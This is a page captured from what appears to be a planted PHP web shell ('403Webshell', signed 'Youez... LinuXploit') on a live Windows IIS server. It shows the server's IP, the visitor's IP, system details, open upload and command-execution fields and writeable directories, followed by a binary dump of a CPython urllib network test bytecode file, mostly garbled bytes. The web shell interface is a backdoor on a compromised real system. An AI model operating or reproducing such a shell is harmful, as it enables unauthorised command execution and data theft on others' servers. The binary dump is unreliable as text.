403Webshell
Server IP : 121.121.20.254  /  Your IP : 216.73.216.202
Web Server : Microsoft-IIS/10.0
System : Windows NT WEB-SERVER 10.0 build 20348 (Windows Server 2022) AMD64
User : IUSR ( 0)
PHP Version : 8.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Python313/Lib/test/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/Python313/Lib/test/__pycache__/test_urllibnet.cpython-313.opt-2.pyc
�

��if&��H�SSKrSSKJr SSKJr SSKJr SSKJr SSKrSSK	r	SSK
rSSKrSSK
r
SSKrSSKr\R""S5 "SS\R$5r"S	S
\R$\5r"SS\R$5r\S
:Xa\R."5 gg)�N)�support)�	os_helper)�
socket_helper)�ExtraAssertions�networkc�&�\rSrSrSrSrSrSrg)�URLTimeoutTest�c�L�[R"[R5 g�N)�socket�setdefaulttimeoutr�INTERNET_TIMEOUT��selfs �(C:\Python313\\Lib\test\test_urllibnet.py�setUp�URLTimeoutTest.setUps��� � ��!9�!9�:�c�0�[R"S5 gr)r
rrs r�tearDown�URLTimeoutTest.tearDowns��� � ��&rc��UR[RR5 [RR[R5Rn[R"U5 [RR[R5nUR5 SSS5 g!,(df   g=fr)
�
addCleanup�urllib�request�
urlcleanup�parse�urlparser�
TEST_HTTP_URL�netlocr�transient_internet�urlopen�read)r�domain�fs   r�testURLread�URLTimeoutTest.testURLreadsu��������1�1�2����&�&�w�'<�'<�=�D�D��
�
-�
-�f�
5����&�&�w�'<�'<�=�A�
�F�F�H�6�
5�
5�s�7>B>�>
C�N)�__name__�
__module__�__qualname__�__firstlineno__rrr'�__static_attributes__r)rrr	r	s��;�'�rr	c��\rSrSrSrSr\RS5rSr	Sr
SrSrS	r
\R"S
5S5rSrg
)�urlopenNetworkTests�&�http://www.pythontest.net/c�V�UR[RR5 gr�rrrrrs rr�urlopenNetworkTests.setUp7���������1�1�2rc/�# �USn[R"U5 [RR"U0UD6nUv� UR5 SSS5 g!UR5 f=f!,(df   g=f7f�Nr)rr"rrr#�close)r�args�kwargs�resource�rs     rr#�urlopenNetworkTests.urlopen;se�����7��
�
-�
-�h�
7����&�&��7��7�A�
������	�8�
7��
���	��8�
7�s4�B�!A3�A�A3�	B�A0�0A3�3
B�=Bc���URUR5nSHnURX5 M URUR	5S5 SSS5 g!,(df   g=f)N)r$�readline�	readlines�filenor9�info�geturlzcalling 'read' failed)r#�url�
assertHasAttr�
assertTruer$)r�open_url�attrs   r�
test_basic�urlopenNetworkTests.test_basicEsQ��
�\�\�$�(�(�
#�x�+���"�"�8�2�+�
�O�O�H�M�M�O�-D�E�	$�
#�
#�s�;A � 
A.c��URUR5nURUR5[S5 URUR5[S5 SSS5 g!,(df   g=f)Nz readline did not return a stringzreadlines did not return a list)r#rE�assertIsInstancer@�bytesrA�list)rrHs  r�test_readlines�"urlopenNetworkTests.test_readlinesMs^��
�\�\�$�(�(�
#�x��!�!�(�"3�"3�"5�u�"D�
F��!�!�(�"4�"4�"6��"C�
E�$�
#�
#�s�AA0�0
A>c�$�URUR5nUR5nURU[R
RS5 URUR5S5 SSS5 g!,(df   g=f)NzEobject returned by 'info' is not an instance of email.message.Message�html)	r#rErCrM�email�message�Message�assertEqual�get_content_subtype)rrH�info_objs   r�	test_info�urlopenNetworkTests.test_infoUsi��
�\�\�$�(�(�
#�x��}�}��H��!�!�(�E�M�M�,A�,A�#F�
G�
���X�9�9�;�V�D�$�
#�
#�s�AB�
Bc���URUR5nUR5nURX R5 SSS5 g!,(df   g=fr)r#rErDrW)rrH�
gotten_urls   r�test_geturl�urlopenNetworkTests.test_geturl^s>��
�\�\�$�(�(�
#�x�!���*�J����Z���2�$�
#�
#�s�,A�
Ac���URS-n[R"U5 UR[5 [
RR5RU5nSSS5 WR5nUR5 URUS5 SSS5 g!,(df   NJ=f!WR5 f=f!,(df   g=f)N�
XXXinvalidXXXi�)rErr"�assertWarns�DeprecationWarningrr�FancyURLopener�open�getcoder9rW)r�URLrH�codes    r�test_getcode� urlopenNetworkTests.test_getcodeds����h�h��(��
�
-�
-�c�
2��!�!�"4�5�!�>�>�8�8�:�?�?��D��6�
!��'�'�)����� ����T�3�'�3�
2�5�5��
��� ��
3�
2�s:�C�.B.�*C�3B?�"C�.
B<	�8C�?C�C�
C"�walltimec�:�Sn[R"U5 URSU-5 SnUR	[US9 [
RRSRU55 SSS5 g![a NZf=f!,(df   g=f)Nzsadflkjsasf.i.nvali.d.z&%r should not resolve for test to workzuopening an invalid URL did not raise OSError; can be caused by a broken DNS server (e.g. returns 404 or hijacks page)��msgz
http://{}/)	r
�
gethostbyname�skipTest�OSError�assertRaisesrrr#�format)r�bogus_domain�failure_explanations   r�test_bad_address�$urlopenNetworkTests.test_bad_addressps���,0��		S�� � ��.�
�M�M�B�\�Q�R� D���
�
�w�,?�
�
@��N�N�"�"�<�#6�#6�|�#D�E�A�
@���	�
�		��A�
@�s�A<�/B�<
B	�B	�
Br)N)r*r+r,r-rEr�
contextlib�contextmanagerr#rJrPrZr^rir�requires_resourcervr.r)rrr0r0&se��'�C�3�������F�E�E�3�
(�
���z�*�$F�+�$Frr0c��\rSrSrSr\RS5rSrSr	Sr
Sr\R"S5S	5rS
rSrg)
�urlretrieveNetworkTests�c�V�UR[RR5 grr4rs rr�urlretrieveNetworkTests.setUp�r6rc/�*# �USn[R"U5 [RR"U0UD6upEXE4v� [
R"U5 SSS5 g![
R"U5 f=f!,(df   g=f7fr8)rr"rr�urlretriever�unlink)rr:r;r<�
file_locationrCs      rr��#urlretrieveNetworkTests.urlretrieve�sv�����7��
�
-�
-�h�
7�"(�.�.�"<�"<�d�"M�f�"M��M�
0�#�)�)�� � ��/�8�
7��
� � ��/��8�
7�s4�B�#B�A'�B�	B�'A?�?B�
B�Bc�\�URUR5upUR[RRU5S5 [
US5nURUR5S5 SSS5 SSS5 g!,(df   N=f!,(df   g=f)Nz9file location returned by urlretrieve is not a valid path�rbz=reading from the file location returned by urlretrieve failed)r��logorG�os�path�existsrer$�rr�rCr&s    rrJ�"urlretrieveNetworkTests.test_basic�s~��
�
�
�d�i�i�
(�,A�]��O�O�B�G�G�N�N�=�9�<?�
@��m�T�*�a��������+9�:�+�)�
(�+�*��)�
(�s#�>B�!B�;B�
B	�B�
B+c��URUR[R5upUR	U[R5 UR[RRU55 [US5nURUR5S5 SSS5 SSS5 g!,(df   N=f!,(df   g=f)Nr�z"reading from temporary file failed)r�r�r�TESTFNrWrGr�r�r�rer$r�s    r�test_specified_path�+urlretrieveNetworkTests.test_specified_path�s���
�
�
�d�i�i�'�.�.�0�3H�M����]�I�,<�,<�=��O�O�B�G�G�N�N�=�9�:��m�T�*�a��������*N�O�+�	0�0�+�*��	0�0�s$�AC�!B:�)C�:
C	�C�
Cc���URUR5upURU[RR
S5 SSS5 g!,(df   g=f)Nz0info is not an instance of email.message.Message)r�r�rMrTrUrV)rr�rCs   r�test_header�#urlretrieveNetworkTests.test_header�sE��
�
�
�d�i�i�
(�,A�]��!�!�$��
�
�(=�(=�"T�
V�)�
(�
(�s�.A�
A!r2rkc��URUR5upURS5nSn[R"X45 SSS5 g![
a UR
SU-5 N)f=f!,(df   g=f)N�Datez%a, %d %b %Y %H:%M:%S GMTzDate value not in %r format)r�r��get�time�strptime�
ValueError�fail)rr��fileheaders�	datevalue�
dateformats     r�test_data_header�(urlretrieveNetworkTests.test_data_header�st��
�
�
�d�i�i�
(�,H�]�#����/�I�4�J�
F��
�
�i�4�	)�
(��
�
F��	�	�7�*�D�E�
F��)�
(�s(�A6�A�A3�0A6�2A3�3A6�6
Bc�`^	�/m	U	4SjnURURUS9up#[US5nSSS5 [T	5nUR	[T	5SSS9 UR
T	SSS5 UR	T	SSSSU-S9 UR
T	SS	W5 UR
T	S
S	U5 T	VVs1sHupgogiM	 nnnUR
T	SS1USU-S9 URT	S
ST	SS-USU-S9 g!,(df   N�=fs snnf)
Nc�,>�TRXU45 gr)�append)�blocks�
block_size�
total_size�recordss   �r�recording_reporthook�EurlretrieveNetworkTests.test_reporthook.<locals>.recording_reporthook�s����N�N�F�
�;�<r)�
reporthookzContent-Length�zKThere should always be two calls; the first one before the transfer starts.rmrzblock size can't be 0 in %s����zblock sizes in %s must be equalz9number of blocks * block size must be >= total size in %s)r�r��int�repr�
assertGreater�lenrW�assertGreaterEqual)
rr�r�r��
expected_size�records_repr�_r��block_sizesr�s
         @r�test_reporthook�'urlretrieveNetworkTests.test_reporthook�sn�����	=��
�
�d�i�i�4H�
�
I�N,����,<� =�>�M�J��G�}�����3�w�<��1N��	O�������A���*����7�1�:�a�=�!�<�|�K�	�	M�������A��
�6�������Q���7�:A�B�'�&6�a�Q�z�'��B����'�!�*�Q�-��+�>��M�	�	O�������A��w�q�z�!�}� <�m�%7�9E�%F�	 �	G�!J�
I��Cs�D�	D*�
D'r)N)r*r+r,r-rrxryr�rJr�r�r�rrzr�r�r.r)rrr|r|�s^��3����0��0�:�P�V�(�D����z�*�F�+�F�Grr|�__main__)�unittest�testr�test.supportrr�test.support.testcaserrxr
�urllib.parser�urllib.requestr��
email.messagerTr��requires�TestCaser	r0r|r*�mainr)rr�<module>r�s�����"�&�1��
���	���������X�&�&��&oF�(�+�+�_�oF�dMG�h�/�/�MG�`�z���M�M�O�r

Youez - 2016 - github.com/yon3zu
LinuXploit